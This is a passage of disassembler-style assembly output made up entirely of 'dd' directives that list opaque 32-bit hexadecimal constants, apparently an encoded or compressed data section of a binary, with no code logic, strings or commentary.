17309E9h dd 0B47725BEh, 20BB2D40h, 0D100B609h, 90AE59Bh, 1EFE4EAFh dd 801920ECh, 0ABC6A2FBh, 741341CCh, 8400C17Ah, 26FA43BEh dd 1EA9011Bh, 956606F0h, 4C73C5h, 0E8EFDF2Dh, 25578046h dd 348097EDh, 5230D33Dh, 96607307h, 351008A9h, 0E1C437h dd 362DFBB3h, 0C1BBF912h, 208D221Fh, 0EB0DCC07h, 866A7670h dd 82C899A3h, 0C9FD8FCDh, 0B8CED8A0h, 0D0005CA2h, 7A952A5Ah dd 24050DE3h, 0C04C548Ah, 0B127C8B5h, 5C860700h, 0C957D840h dd 441A015Fh, 6AC33DBBh, 2C93CD8Ah, 0E4E600BCh, 0A6915B01h dd 187C3CCDh, 0CF50528Ch, 2E004B79h, 87F7A388h, 5E2425Ch dd 6CCC16FEh, 6696005Dh dd 0B11BC38Fh, 0FA6BEC00h, 0C74A335Bh, 85820FB5h, 0ADA01587h dd 0E4D2ECFh, 5944510Eh, 33C7E11Ah, 9FEB5618h, 177052F0h dd 0D89E587Ah, 0E3D92900h, 267B2746h, 3C379100h, 0E5B89744h dd 0B7F069h, 7CF48E2Ah, 77235689h, 183A3700h, 0E7E4125h dd 20F0912h, 0CA9BECEh, 46763420h, 6205FE2Dh, 84E3AB35h dd 220D9800h, 4B327Dh, 8095507Fh, 0AF2EC240h, 0C5094100h dd 7BCBAA31h, 965900D3h, 23426EAEh, 6D008940h, 0AC4E267h dd 71D2D5Fh, 0B27651DBh, 0AD806B14h, 1CA75859h, 85A1A200h dd 25ECAF30h, 0D30B0016h, 0F99F961Fh, 6907D0B4h, 1E6CCDEDh dd 97C39440h, 82C002C8h, 1C44AC1Fh, 0BF8EA060h, 5861402Eh dd 0EE00FD1Eh, 0A549ECE6h, 9FA100F7h, 3AA0E2D7h, 20B870D0h dd 6A352604h, 18B003E6h, 0EF8E1C87h, 0E1484055h, 80259F82h dd 0C4C65F0Bh, 44C0AF2h, 0A08FA9CFh, 69C398DCh, 5D4B17h dd 0B3910AF0h, 37096699h, 0B09759B0h, 196274h, 7C1EE368h dd 0AEC75D82h, 0D5FF500h, 0D5FEE050h, 0D9E50011h, 0DB582B4Ah dd 3B58D39Fh, 66BDC044h, 7AFFFBh, 1A63D26Dh, 0BED3A107h dd 75E88600h, 25C45137h, 710107E5h, 2F0DBA9Ch, 81868E00h dd 7903B222h, 0BE54FD6Dh, 630EA185h, 42F2F8h, 2A565115h dd 3404ED98h, 0A0008D73h, 3B447E0Ch, 0E52C6Dh, 0EC852522h dd 762A3058h, 8060533Bh, 48733312h, 0E7F655h, 3D6D6A2Eh dd 5213650Ah, 89E25D00h, 8C9E29F8h, 9D0403E1h, 0C2DCDD55h dd 799AB0E0h, 0B1F61D00h, 2E6C75BAh, 0D27F0A04h, 965A2Ah dd 0FA8DE0E5h, 2600594Ah, 0EC91131Ch, 0F29F88DBh, 0DE870012h dd 0E689F75Dh, 0B30EACCAh, 0A017E81Bh, 5C7D217Eh, 90B0054h dd 50D52FF8h, 0FD00A77Bh, 0EA8F4639h, 0EA4E059h, 6489746Ch dd 53712B60h, 822EC488h, 20804894h, 573CF6F7h, 6D8D0291h dd 0F3645E79h, 19E020E0h, 6CCDE12h, 0E9BFB420h, 3C3300A4h dd 69B09143h, 0C3C6F10h, 1EBD8124h, 51C1E5E2h, 8534C0F3h dd 0DF291372h, 219047C6h, 97E7F1B4h, 3ED6D096h, 72F80501h dd 918E094Ah, 80E6E865h, 30152318h, 0A547012Ch, 0CD895F9h dd 8A37DCF2h, 0A2008F7Dh, 78D1FE44h, 0EF5D4Dh, 0F6E9D76Eh dd 91199626h, 85583118h, 7B7D3DE9h, 0E6D80C3Ch, 4C209780h dd 844058D1h, 4D73A420h, 4995A802h, 80518A5Ch, 94FC6F50h dd 756E05A2h, 0C0091466h, 51A0EA54h, 82887007h, 0C980C15Eh dd 72E04B13h, 0B570FBFCh, 0A96800DCh, 0F0E876D8h, 0F9003F9Bh dd 4B1299AAh, 0FCB5645h, 0DB1C6A75h, 38B62FA3h, 0F4B8D7B8h dd 0C601D07h, 0F1E046D3h, 6C1F70h, 0F83FCFEFh, 15FEA941h dd 0A9BB4Ch, 9EC804DCh, 186ADED7h, 0E017C5CCh, 62005CEDh dd 0D54A35DAh, 68A1E6F9h, 397C08D1h, 5AE1D000h, 849F0739h dd 85543700h, 568D146h, 0DAB10CE8h, 0CD58DB5Bh, 43D7B8Ch dd 0AC9D4A68h, 20B022E5h, 2EE1D761h, 0AAED300h, 5FA73258h dd 74C20025h, 0D0204F3Ch, 0DCB4EAEEh, 560C0D00h, 3DE538D5h dd 0E4B38E72h, 2107EB08h, 6655322Dh, 0C53A2580h, 882360BFh dd 75A046E2h, 79A32733h, 50F1E1FCh, 0EA702CC7h, 20201805h dd 321888EFh, 0A129115Ah, 0C4AE0010h, 0C74684FFh, 3113CCC0h dd 44C079C6h, 0AAE8D2h, 6E350BC8h, 540E246Dh, 58E35F30h dd 125D196h, 0DAC8B66Fh, 0FBA02851h, 0DE69D817h, 3779E0Fh dd 0FB4472A6h, 42343CC5h, 5AF5CB80h, 0AEF34B67h, 84715B98h dd 738EC201h, 1941052Eh, 7D92B1F0h, 0C0360013h, 0BBC58048h dd 0F5003026h, 0F2BE7505h, 96F06Fh, 0A5D2298Eh, 9F3C5211h dd 640A041Fh, 0ADBA7F00h, 259312h, 2AAB71A4h, 0AA3C29D9h dd 35136907h, 7281464Ch, 288FCAC4h, 61EE051Ch, 0F83E5620h dd 7D76D06Ah, 0C783Eh, 0E821114Ch, 0BA80E4h, 0A9255062h dd 0FB7FED0Ah, 9B2FA100h, 0B01137E6h, 0BB60F8Bh, 0AD402713h dd 9A1FDB56h, 2B20E000h, 8B5D8159h, 19020083h, 6FFC4E07h dd 5A0036BAh, 0A9567F3Fh, 611FF4h, 9B342CA5h, 929CAB99h dd 5B390C00h, 0EBF9E216h, 68BE0020h, 26771E50h, 0A5079397h dd 0B9166C30h, 0A45B29C0h, 0D6AE061Ah, 0B9DD066Bh, 238A78DEh dd 0B91C8C3Dh, 3539A600h, 2A4565h, 3E7B1BD4h, 1C4E37DBh dd 9392F007h, 0FCB08FBDh, 12DA15BCh, 0A8B434h, 92B5AFC6h dd 0DE000727h, 19409E6Bh, 96FFA7h, 2EB2017Bh, 77F9E8D7h dd 69F11200h, 2DC815E7h, 0CCA63A4Ah, 0D456E003h, 0A0E898F9h dd 500084FDh, 0C0B08D0Eh, 0FB8C88h, 0F95E6B7Dh, 0CBB76D55h dd 8200E773h, 0D9D47A58h, 33C96C5h, 6CAC75E1h, 81B6DF6h dd 80205947h, 391B96BDh, 0B483B054h, 6F17CEECh, 208D98D0h dd 0CA64E300h, 8A04FFAAh, 0AB998EFh, 1037EE7Bh, 0F11B005Ch dd 23BC44DCh, 53103242h, 149D0050h, 516DC7F1h, 72A00C8h dd 0CD4D4903h, 0E3509584h, 0FF60AECFh, 65E1F9B1h, 5A3E0039h dd 0D9BEE220h, 0B15E0651h, 2E07F1ACh, 90347A57h, 20971ED0h dd 6FE6321Bh, 0F9F6A17Ah, 69142080h, 0D171A5D0h, 0B6DBAD2Ch dd 137BF100h, 0A85B64BBh, 86BC4394h, 0E00A9390h, 94879648h dd 24474164h, 2617D0D1h, 0D075DE4Ch, 0A7EF500h, 0EE32812Eh dd 94110F2Ch, 39002FF7h, 9D5E45AFh, 69CBB801h, 0E00F7F72h dd 1CD3D0E8h, 1E6B8254h, 7C674086h, 0DC61B846h, 18917801h dd 8BBF9966h, 0EA6530h, 0C1451C79h, 283FE5E1h, 2A3ADA00h dd 0C414D463h, 0BA609D9Ah, 517AF9F0h, 0DB5D7D00h, 4E0B08BAh dd 81B539F6h, 47E0991Ch, 80501A97h, 89F03667h, 22C7271Ch dd 0BE3CFE80h, 0E0B4B325h, 0D1FEFDh, 52FF96D0h, 6AB8BBE3h dd 0C5453700h, 15F75805h, 0D2BE0101h, 0AD6CA27Ch, 578CCCC6h dd 0E90359F8h, 0B2ED8E02h, 0D0A6A04Eh, 0ACD400E4h, 42F91C88h dd 4300AFD1h, 489998A0h, 0CB424C6h, 14EEC91Bh, 1100E820h dd 0CE44BEC8h, 7DC4A5h, 5DBC63B7h, 27C77B9h, 5759500h dd 2E211561h, 0E61C008Fh, 2FBC3FE4h, 95063B59h, 168DF2A9h dd 3320650h, 80DDDE71h, 9E1E3F78h, 90FB9BBh, 0F256806Ah dd 740BC20Dh, 38EF6062h, 25547401h, 21932450h, 7C2E0219h dd 0A530C188h, 92060119h, 3E38AC6Ch, 8EA9F0B1h, 35700363h dd 0B821800Ah, 0C580156h, 0B5B9FD9Ch, 6C38E894h, 666E7800h dd 4E69E75Ch, 776F0096h, 9772DBE6h, 6007994h, 54DE3F52h dd 0D60BA2h, 99FED89Ah, 30EB6EBh, 1D380D00h, 0A4D43021h dd 60B9EEF1h, 333D3018h, 0E87CE934h, 22B86600h, 3C7BDFB6h dd 59A0174Bh, 4D1200C9h, 0A36E813Dh, 8BAC2A3Ch, 2F22C05h dd 6033372Dh, 1FA01CD5h, 80ADB5F1h, 72F74C08h, 0AE001BE6h dd 94063C64h, 0EF17E5h, 0C830A290h, 1BC7C0B2h, 8240673Bh dd 0CD551204h, 0DE3240ECh, 0D1B1602Ch, 34C5785Ch, 0D49EF90Fh dd 8EA60079h, 18D9C95Fh, 303B97D3h, 440090B9h, 0A845B152h dd 26392h, 7EAF6042h, 0D64E677Dh, 4BBC7700h, 269F6589h dd 0F07B006Ah, 0C68E6137h, 0F00237Ah, 16D36956h, 74F4B971h dd 0FD1700C5h, 1DC630FFh, 600C3EBh, 0E266A5C8h, 0C69D3C26h dd 20A47008h, 6103607h, 7320634Dh, 9D42C3h, 0BF29BAEFh dd 0A3D16CE1h, 0B2B6F0Ch, 1F51189Eh, 160AD10h, 0EEC31979h dd 0C0FF39Ch, 40BAC6A2h, 0D16731CBh, 0C2690050h, 2BD9F31Ch dd 0FC0CA409h, 78548BFBh, 0E8974E74h, 0E93A008Ah, 9F7F84E0h dd 0C0FAC1h, 0E819DBEFh dd 0F02103BAh, 6C70B960h, 0A8676ECh, 8B1DEFDDh, 0AFEB0BAFh dd 0B3C41C80h, 0C27482F1h, 20F31A30h, 72E86F0Dh, 0F2A7C9Bh dd 9F37BEA6h, 27267F8Eh, 0EC00D005h, 7B0EE65Ch, 54A36Fh dd 4C38DCA7h, 85AD87B2h, 0B7F5C000h, 7C24E72Ch, 8F7D5Dh dd 35811E1Fh, 7A6E9421h, 0BA938300h, 0EA923469h, 3591C3Ah dd 9B7040C1h, 0AE05A6C3h, 52824800h, 95CF1B56h, 0E5F10F80h dd 0ACE13BC2h, 0F0E3F9C1h, 6F3AC94Fh, 0AFE080DEh, 76694426h dd 0C1B0008Ah, 20B6431h, 8600CB7Ah, 5483D1ECh, 0B327D4h dd 8DD83577h, 0FE1B171Eh, 0AFB83800h, 0CC890ADFh, 12EF2418h dd 4DD627F0h, 5CCA8B00h, 5614C07h, 2AF69BBBh, 0D68B80AAh dd 97FECE16h, 0E1A32C04h, 0BB8596B9h, 380E4680h, 0EB100014h dd 8030487Eh, 6A00E19Fh, 0BB2ABD96h, 3E17A0h, 93A1FE69h dd 401FAC18h, 0F23FD800h, 0B673C31Ah, 811000DDh, 67DC7806h dd 200B880h, 1A172BA9h, 3CB1189h, 5148A060h, 1288718Eh dd 0F5003B7Ch, 21FB1523h, 2E984759h, 77D3CEh, 0DC40D44Dh dd 2BEBCCCDh, 3A7637F0h, 300770Dh, 4F62959Ch, 0A238B21Bh dd 0C4F67DAFh, 76C5A101h, 411E6C47h, 277570h, 37A2F213h dd 2BBE0243h, 326D5Ch, 0B64033FCh, 38607224h, 0AC00D666h dd 44E00822h, 8E002E51h, 8474F2FFh, 2C45AA35h, 461653h dd 29908DE7h, 0B6003FC6h, 0C69061Dh, 0C039BDh, 3754622Dh dd 6AE30278h, 75D618C5h, 660A046Fh, 0E0D3CBh, 0F762D7AEh dd 0FF00A21Bh, 0CF89797Dh, 97E0417h, 0C406675Ah, 18192480h dd 1C0C4230h, 29EDDBA2h, 0A428476h, 0BF2A7208h, 80F07708h dd 56D6DD8Ah, 0DB77EE67h, 617F1580h, 4BD37824h, 0DEB60178h dd 8F922990h, 2F11D1BDh, 43D51C4Eh, 10367872h, 0F6640957h dd 0E0208B28h, 0FA807CE5h, 25528830h, 14A7A1CAh, 5140EC0Ch dd 79DA63DEh, 28D6A666h, 758852FAh, 27D40E7h, 2A886420h dd 0A0F1EEh, 897CB55Fh, 32F7209h, 34A8D100h, 0FD672063h dd 0DC1C033Bh, 0E06CCB16h, 3F256DF8h, 0E41BC000h, 85C3245Fh dd 1580052Ah, 0C0442C17h, 774DBFECh, 0D4C90800h, 46362F33h dd 0ECB3FD9h, 0C5F63F03h, 0D2C82BF7h, 0FE019A68h, 0ACDB64DEh dd 17C0A05Dh, 7DD1000Fh, 392CCD0h, 0DC0FE02Ah, 0CB45A1h dd 0D87CBA2Fh, 11E96A16h, 0FDD11EA5h, 585D1C00h, 9DDFA2E2h dd 1C1C0248h, 0CD40B64Fh, 8F65D5B1h, 1C8D3F76h, 13830880h dd 398C3323h, 6FC3A200h, 864B2264h, 799A009Ch, 0DDD72062h dd 0B1E46D16h, 2AF8491Fh, 66561500h, 261EEABh, 0B244B86Fh dd 544040EDh, 25034B1Fh, 0BC39176Eh, 49F5A0ADh, 7B36009Ch dd 0E618AB32h, 0C800935Eh, 0B253A2DAh, 86456Ch, 9A67D531h dd 127673A1h, 9DDCE63Eh, 5E94D091h, 390076EEh, 0F37B45D1h dd 907F6DC3h, 0CAA800DEh, 0AFEC353Fh, 0FD1E951Fh, 810C062Ch dd 46B8E0h, 4763E9A0h, 0D0F63960h, 0D2D42000h, 0A53E7A29h dd 74900EBh, 44B40E9Ah, 0F97D1866h, 34DE73Eh, 34B2AD0Ch dd 0A6D3D078h, 0CC772Fh, 0F6A83943h, 10AABA3Eh, 0F9A6100h dd 0C3841A75h, 0D41848C6h, 46B42100h, 35E7D8CFh, 0EBC82E01h dd 0C23EBCC1h, 9B9F9C4h, 3D05165h, 0BBEA1880h, 147CD256h dd 0CF0D3F00h, 1D2ACA5Ch, 0D48A00E4h, 0D72F21DAh, 7C00435Bh dd 9968A410h, 13F5E5h, 9F4D322Bh, 41A57678h, 355E0500h dd 0A0CC5C9h, 0C446002Ch, 0F1643EDh, 0C200634Ah, 158A8711h dd 7E1DCCh, 0D7218EB7h, 0E798F9Dh, 0EF19D900h, 9FCEA4A1h dd 59830018h, 4FB15F5Ah, 0EB00B24Dh, 114708C4h, 449EA66h dd 18A1F583h, 6B3890FBh, 12EC3D64h, 9AADB800h, 0D23B941h dd 0B4150444h, 87322676h, 0A3CD2017h, 9800375Ah, 0AD8E0B5Bh dd 34227E8h, 6F03267Eh, 0A7C8A55Eh, 68E26E4Bh, 9CCFD124h dd 23D9B801h, 0A0F88A66h, 9F4B006h, 9A6C5FC2h, 62DA8680h dd 8F0076DCh, 912398FCh, 84D0C4h, 1C455587h, 78CEFAA6h dd 0E2B22E00h, 0A435882Fh, 0EC5D0FF4h, 0DD20F6DCh, 2A571342h dd 0B6694100h, 0CEC031EDh, 567900ECh, 0D0340D84h, 0A074E49h dd 2F07858Eh, 0E414802Eh, 0EEF805h, 4A26D2C0h, 8A987F20h dd 61C70F03h, 0F870D642h, 3C581A51h, 4D801F45h, 6A7D6BA6h dd 971E53A0h, 98C0340Ah, 0A90F0311h, 9B640FE0h, 0BAA07D16h dd 0A0977EBEh, 0AB629CA0h, 0EC33B200h, 0CDD9EBBFh, 603902F2h dd 3D84A3D7h, 0A090A840h, 4CB22B1Dh, 913BDA40h, 5EE034h dd 0D43D164Eh, 0A815482Fh, 17B56F00h, 0EA349D89h, 0A70803CBh dd 581FB487h, 1A09E788h, 0F88FB900h, 12488D4Bh, 233D0C76h dd 776855D5h, 9C00D7E2h, 0CAB3F783h, 0F7FE3h, 0EB20E14Bh dd 261267C3h, 1651FD73h, 0A103F08Bh, 40FA511Dh, 9E2347C1h dd 16D05870h, 0EEE71C30h, 7D7B80D7h, 962F1EEDh, 17B18300h dd 0AB8A933Bh, 0C70800BDh, 8EBA78AAh, 287DDE51h, 8D005D73h dd 97EC0C58h, 1F53FA18h, 4013A4D1h, 2971ED77h, 47002591h dd 618F54B1h, 768C69h, 3794E828h, 17C4F155h, 837FD4A2h dd 88302C19h, 0FCA1DBh, 0DAE5F8C1h, 0A793E3B8h, 894C1C0Bh dd 5A00FF50h, 67B3A4DEh, 4F7A2507h, 0C70428Ch, 55A6ABh dd 3061BA84h, 81D9EC36h, 0DFE63Bh, 773C1A6Ah, 0F435C8h dd 0C4C9A77Ch, 0F55E4C4Ah, 78738500h, 0E1450455h, 0C6473F72h dd 5ACF01FAh, 0BC6E1C13h, 94A6C8C0h, 0FEB0100h, 3705285Ch dd 0BFCD0069h, 0DC9A62C7h, 2E7A0ADFh, 0FC359F06h, 48509E4Eh dd 2800357Bh, 0FE2FDDFBh, 1E0075D5h, 27A03A4Ch, 473988h dd 1B23B7E2h, 68C41DA1h, 20F47100h, 9585CB62h, 9804005Fh dd 40A1E1B4h, 73004783h, 249CC24Ch, 7745DA50h, 824B01BFh dd 23B30BC0h, 0F462CD8Fh, 0BC9829F5h, 9E63EF06h, 3D28640Eh dd 0EC15C68Dh, 1266C058h, 3A0081B6h, 4D71B1C8h, 701F16h dd 0F298EE1Ah, 2A84EF85h, 2120D600h, 730F0B90h, 6E220011h dd 0F3156053h, 7005C2Bh, 4B32DC71h, 9E3A0Eh, 0AB5FC33Eh dd 0C1187489h, 0F173CA1Fh, 29325C00h, 3D44D22Dh, 4F9E4823h dd 0F73A0084h, 4D5B750Dh, 17D75601h, 0AF58716h, 39FFA060h dd 5039A71Ah, 7CC92981h, 6042BEFDh, 5E009688h, 8564EDC7h dd 4C99D3h, 0AD6B8F79h, 0C493DC4Eh, 86371600h, 0CC635422h dd 0F1180FC2h, 65E0961Bh, 7BF3D2Ah, 0B403F2FCh, 97B30501h dd 5A4BE814h, 2CDF00C1h, 303BE2FFh, 0BC5CCB40h, 72A7001Bh dd 87E943A8h, 0D12A0013h, 9224756Dh, 67138C0Fh, 44147BD3h dd 95FB0010h, 2C20A8C0h, 0B83A5C4Ah, 0DB804848h, 82BC23C3h dd 78F5D700h, 10E4E9EFh, 17FA008Dh, 8607E52Bh, 4EE8CD7Ah dd 7268C500h, 0F5780A25h, 81C300BDh, 0B630742Eh, 7502A73Bh dd 718A960Ch, 6F34487Eh, 1F66072Bh, 70B3C88Fh, 0CBD73CCh dd 4AF13809h, 0D484A409h, 167A7880h, 44BB0088h, 66047F0Fh dd 240CDBA4h, 740CC6D5h, 0BF1800E4h, 0E59788E7h, 671F6496h dd 0F6002D0Bh, 2EF9ADBAh, 1DC31230h, 661C00FCh, 0E16C1B51h dd 9300E9F4h, 48E55ABDh, 0B0C81690h, 51C71D34h, 0A643C0FCh dd 0CCEF486h, 1C1D8C7Dh, 3449D5FBh, 717480C4h, 7B57A23h dd 8F26BD7Eh, 697B9017h, 0AF3C545Fh, 500CB752h, 7E10E1A0h dd 438900FDh, 650D42A7h, 0AE00CC24h, 8C21564Fh, 1CFF63h dd 7145C7F5h, 445F2877h, 8E066800h, 657B8481h, 33CB075Bh dd 60C27870h, 22AAD0A2h dd 25A0EE00h, 6EB297BCh, 3FCE00ADh, 925E31A5h, 0C700CC59h dd 15EFD57Ch, 1E650CDAh, 80410F99h, 8B5490A9h, 2700C47Ah dd 3F064835h, 2E17CF15h, 1D68E09Ah, 0ECF041BDh, 0BB7C4F99h dd 0FF5D8A92h, 60289C96h, 132F4900h, 0A8893FDBh, 314B0941h dd 0A84073BAh, 770062CCh, 82E67B13h, 2450F03Dh, 64F517h dd 0A1FD9D96h, 98284A38h, 0B009CFCFh, 40F753C1h, 6ED394h dd 124C6C48h, 0DE913521h, 711BDB00h, 0EA0496C3h, 244700F4h dd 4C13A0A4h, 0D900C70Eh, 0A3FDEDF0h, 4819739h, 4F0C6A88h dd 0C2988813h, 763DD826h, 9AA7C100h, 1DE85B05h, 0C921435Eh dd 0DD0022A4h, 34F6153Ah, 238C5902h, 0E0BBF42Ah, 0DBD664h dd 17A84A35h, 870A1410h, 90ABC700h, 0C649509Eh, 7726007Dh dd 6FD651Fh, 960080E7h, 0CDCEF872h, 0F0E509h, 6AE34526h dd 95370662h, 4B1AAF05h, 9C24B698h, 0B739F421h, 3ACCEE70h dd 0B806D5Bh, 28CE103Fh, 0AB1C5E6Eh, 4C402981h, 0F7DC39BDh dd 8B7D3F8Dh, 1B003EC8h, 0D7FCF846h, 94F60773h, 9DC5ED00h dd 0F9C69E16h, 0AC2D004Fh, 0B2F8F2F5h, 0B700508Fh, 0D9170CA6h dd 0FBDB53ABh, 90472BCCh, 0B8890004h, 33CC2C2Dh, 0FF77AA0Bh dd 58BB3Ch, 0A440012Eh, 0FDEFED7h, 1636B787h, 0D71CEAE7h dd 3DBE90BCh, 9A71F676h, 0C62F8800h, 0EF37E8AAh, 6C191D74h dd 0C779DE5Ch, 0F039ABB7h, 0EEFF03FDh, 4400B0B8h, 1A6650BAh dd 7BE12FD3h, 651217A2h, 5EB9078Ah, 3DF82084h, 960C6915h dd 0B06FAE54h, 0D990056h, 63C04B7Eh, 17553E0Eh, 0FCFBF19Ch dd 7C0A5248h, 0A094BE0Bh, 0EE291404h, 0A5D074C7h, 486F2E3Eh dd 6D3B3C16h, 2B8D9E04h, 1A5C8185h, 0CA4F939h, 0FF1D001Fh dd 5CF4AC45h, 0AE00F866h, 0B17C0497h, 7382F9C7h, 0ECC35CD5h dd 0EE2AA801h, 70B8D6BEh, 0BA009273h, 1914875Ah, 35E51526h dd 123659F8h, 6D00BE67h, 0D74634BEh, 285B039Dh, 1ACA9915h dd 0A56BD09Fh, 577C7462h, 0CE373F01h, 0E0F5B3F0h, 7111C3F8h dd 1464004Ah, 437A8CC0h, 0B4012C39h, 833067DBh, 0F0EFACABh dd 31A7E1h, 0F9342FA5h, 7242EB65h, 0A8C70401h, 1F319CAh dd 38EA5820h, 0A2806DAFh, 43135342h, 3E3F4CE5h, 69E98048h dd 5CC8E49Bh, 0F1E8009Eh, 786A6487h, 86E2B13Bh, 0EE730B00h dd 0F143628h, 0FF771151h, 638A042Ch, 40A0EB40h, 0C31A03ADh dd 0E8A8541Ch, 6DFE43C0h, 85572724h, 5687461Dh, 0CED02261h dd 5E6B894h, 5A39D4EAh, 23891A6h, 59D0507Eh, 293C8AFAh dd 0B1BE0086h, 0F509FBEAh, 9CC0008Dh, 0F7DAF818h, 7500DC8Eh dd 12695B3Ch, 0A0B04Ch, 85C7C130h, 0ECBB5957h, 8674201Eh dd 0CD763B00h, 0AA34F4h, 4FDF22BCh, 0CE0490A4h, 0DA26701Ch dd 83D40Bh, 0CC218E8Dh, 0FCF9027Dh, 0AA9F6ED8h, 0ED7447E0h dd 8919171Ch, 8EADBF40h, 26C2AC85h, 458E2FEh, 0B2149FE1h dd 0F7A383D4h, 0C84D809Ch, 0F33E0018h, 0DFAF3B48h, 2C073F22h dd 1569E0E2h, 29ADDAA0h, 0BE852632h, 775200DBh, 0A39ABC76h dd 891404B6h, 50E380B8h, 7431F154h, 0A0E800CEh, 0D70E16E0h dd 7D900229h, 23611303h, 0D04F221Ch, 4B5452h, 3BD22186h dd 0F8B9A40Fh, 1D78A50Fh, 9F3160DEh, 98CFC8CCh, 0CF725CB8h dd 39099200h, 0C3A3341Ch, 22494C25h, 0E07EA4B4h, 6CCFA48h dd 71E5369Fh, 5C3F1032h, 0CD40175h, 46A6C2CFh, 13CA5C0h dd 3BAC839Fh, 0D44CBB17h, 540FA00Dh, 6F2CD27Eh, 4B3F60E1h dd 0BAE8EDh, 4C16818Ah, 0F9BEC2ABh, 0E2759800h, 84994495h dd 0B88B50CBh, 594EE6h, 9AC009BCh, 0AE7B1389h, 441948h dd 9127FF7Ch, 0E8CC0E6Dh, 74460FD4h, 59402E7Ah, 0F04854C1h dd 75BF6400h, 98B97A6h, 0A1B2001Bh, 4CD5E80Bh, 70005B36h dd 0CC23F94Eh, 1ED24A9Eh, 408AFC37h, 0F545DCA1h, 2A012069h dd 498F1D98h, 0E9E86FEAh, 61290007h, 0A45BEB9Ah, 4D007023h dd 8C2E880Ch, 4FF8B2E4h, 0B7BC000Eh, 1AEAE541h, 0D31C3Fh dd 0AE68586Ah, 179C5915h, 7E6C4Fh, 0CFA38E5Bh, 6706B720h dd 982E6E9Ah, 9BF2024Eh, 6454DF3Fh, 59CE54E0h, 216FF700h dd 841B62AAh, 9D8F440Ah, 15025BF4h, 3566E66h, 63817790h dd 0FEB14177h, 0CEA5E0D7h, 0C1DD4CDCh, 0F1467200h, 92C11504h dd 70F6EE00h, 0FBA2E21Ah, 88D24CCFh, 0B77B5B08h, 918E2B81h dd 8B200354h, 38871274h, 890FBE5Bh, 0AB6B80h, 602B5F40h dd 4290337h, 42D8537Fh, 2FE880ADh, 9B00A976h, 0E069EDB9h dd 24B2FCh, 0A05C112Eh, 42CCE562h, 89E40200h, 93B9CE7Ah dd 7E0F0218h, 234778F8h, 24809889h, 0C869061Ah, 0DF53CD00h dd 15DC3127h, 9162000Fh, 0FD163C51h, 0A809399Eh, 0AB14E3h dd 1A7A6DA9h, 4BE900BCh, 0B99386B0h, 0F4002CC1h, 72534573h dd 13164668h, 304DBAC4h, 0E623FB54h, 7D79EE0Bh, 0BC8880B0h dd 2A3B42h, 2570C0FEh, 590544B1h, 0E8171507h, 0FA0E4ADh dd 3B9C2D74h, 0FA131FF9h, 0FD38C097h, 1007262h, 0E836275Ah dd 5A3CDEEh, 0E7AAB46Fh, 48B40190h, 208352B2h, 5600599Ch dd 386E13CDh, 790CB0h, 2861A171h, 51CE98C1h, 0FA4B210Bh dd 0A4BB80B4h, 8C4EDh, 0F7A2C8B9h, 3EDDC71Eh, 0F1214B00h dd 95538A6Ah, 0DEFD0072h, 75D70CE0h, 0F50B3AE7h, 38D7A87h dd 0BD396E93h, 36148A0h, 0DF7DC379h, 6AB07734h, 5E018368h dd 6CE6514Dh, 0E7D8F331h, 2C7DCBh, 0A8AA5818h, 0FAB93BCDh dd 8941DE0Fh, 88A540A6h, 0A98009h, 4BC21A29h, 0DF2499B9h dd 0A111E000h, 9B75D554h, 2070C3h, 6CB28CCDh, 400DC781h dd 0D4A37200h, 89704450h, 4D27EEE6h, 0A40098DEh, 1A86F842h dd 789DB0D8h, 9BDA0702h, 0A0CBBF99h, 21C6A785h, 5000605Ah dd 22F098B2h, 0B5FF0019h, 0F312CFD5h, 6EF22BF5h, 0B3203B04h dd 5FC36050h, 5E2AF002h, 1F4003Eh, 5A8CAD27h, 400006D1h dd 0DE1197C2h, 1C8F43BDh, 47221D6Bh, 0C00EF339h, 50B734F8h dd 5E120F03h, 0A8386FC6h, 3B1FBECh, 0A7DFC2BFh, 0A18024AFh dd 0CD00332Eh, 9364BDD8h, 0CA623Dh, 0DE56C615h, 26480CECh dd 3104E1Dh, 0B280C25Eh, 3D1BD3AAh, 11B6006Dh, 0F0F4BABFh dd 3F00DA80h, 0BDF7F908h, 268E59DCh, 0E4FB8AEh, 0D5007157h dd 19B26AE1h, 66D32517h, 46EDE000h, 989678Dh, 82045AE2h dd 0C018ECA7h, 8716990h, 294DFD00h, 0B3D1ED9h, 0BA07FAB5h dd 0C11A00E4h, 0DC052087h, 5E034228h, 21F71149h, 85C2B809h dd 0BFEC12CFh, 27478E7h, 0EC0E9D24h, 0CE49270Eh, 5ABC0047h dd 948874h, 0ABAE653Eh, 25555769h, 9CC75E00h, 0EF8CBD0Bh dd 4E2F0033h, 6E1A1DBCh, 907E23F7h, 3DCE8500h, 66612273h dd 0D1B10B7Eh, 880006DFh, 7D59D710h, 40070EAh, 7CFAFC9h dd 2CE061EBh, 1D3935h, 76A50C46h, 0E626C336h, 0E201371Eh dd 0D50BD9A7h, 941CBD8h, 3C03466Eh, 0C19ED884h, 0FBF295FAh dd 0CFDF6AD8h, 1792891Fh, 1E501040h, 60C6147h, 0DDC5DB95h dd 970AB8D1h, 0CCA5F6B8h, 0C3A7FB00h, 30428FDh, 8DADF442h dd 4B987107h, 4A00BF8Ch, 0C9CF80Ah, 0B08EEB3Ah, 2B360F90h dd 5AEB4317h, 1B0728C0h, 53689A0Ch, 499838h, 0FA19DC85h dd 7893A881h, 0B0622302h, 0D0D333CFh, 0F6050EA4h, 776E89C9h dd 9000E0ABh, 42523E58h, 0F58DDCA8h, 0C8008575h, 4986516Dh dd 0F4A288E3h, 94D70A4Dh, 2CEBD21Ah, 0D180002Ch, 0DA32585Eh dd 4BF03Eh, 0F732EBFh dd 0F21F46D5h, 729D138Ah, 0D0ED026Ah, 34C0D66Ch, 7D030DA3h dd 0B88B21A7h, 0AF578083h, 26E0009Bh, 2544E262h, 0BE003A30h dd 0F83320FEh, 942C5Ah, 1CD8A00Fh, 29107ABh, 6C41CE00h dd 55C18FBEh, 4BF2D7h, 0C72B5240h, 0DB2FE229h, 59BB4301h dd 879F2E96h, 3837F30h, 6D90247Dh, 70D1ECD5h, 0F648210Ah dd 1EB42940h, 0C430E007h, 45001252h, 3C164Fh, 42B8482h dd 4D9F1A68h, 61B93301h, 0E6F46FB2h, 2CD822EDh, 65B017Bh dd 9EA0FA84h, 40B4CC98h, 59ABEC0Ch, 101E9853h, 80D4D8CEh dd 7F87C2D3h, 60829593h, 6C5A4BE6h, 8F615300h, 0EE0A4804h dd 3650001Eh, 60BDCBD4h, 0A8003FF7h, 0B8E2136Eh, 5F2467h dd 84D96307h, 4D5CEB2Fh, 40DAB90Fh, 0FF3013Ah, 9AC46CEEh dd 61D00043h, 0A0348F4Eh, 